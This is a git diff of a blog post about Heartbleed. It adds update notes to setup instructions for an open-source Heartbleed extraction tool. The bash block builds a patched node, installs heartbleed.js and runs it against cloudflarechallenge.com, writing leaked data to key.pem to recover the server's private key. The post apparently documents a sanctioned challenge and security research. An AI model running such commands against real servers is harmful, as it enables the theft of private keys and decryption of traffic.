diff --git a/posts/9.heartbleed.md b/posts/9.heartbleed.md index ba0187c..e59c69b 100644 --- a/posts/9.heartbleed.md +++ b/posts/9.heartbleed.md @@ -90,13 +90,15 @@ well, but I was too lame at the time to put this in my tests. Being a node.js core developer, the platform choice for the extraction script was obvious to me. Unfortunately, since node.js is embedding OpenSSL and exposing only some limited amount of methods as a JavaScript API, the -[patch to add fake heartbeat methods][4] was needed. +[patch to add fake heartbeat methods][4] was needed. (Update: patch is no longer +needed, just install module from npm). Having this at hand, the implementation was almost straightforward. It is available as an [OpenSource project on github][5] now. Here are instructions for obtaining and using it: ```bash +# Update: patch is no longer needed, just install module from npm git clone git://github.com/indutny/heartbleed git clone git://github.com/joyent/node -b v0.10.26 node-hb cd node-hb @@ -106,6 +108,8 @@ make -j24 install ls ./node export PATH="$HOME/.node/0.10.26-hb/bin:$PATH" + +# Here it goes npm install -g heartbleed.js heartbleed -h cloudflarechallenge.com -c 1000 >> key.pem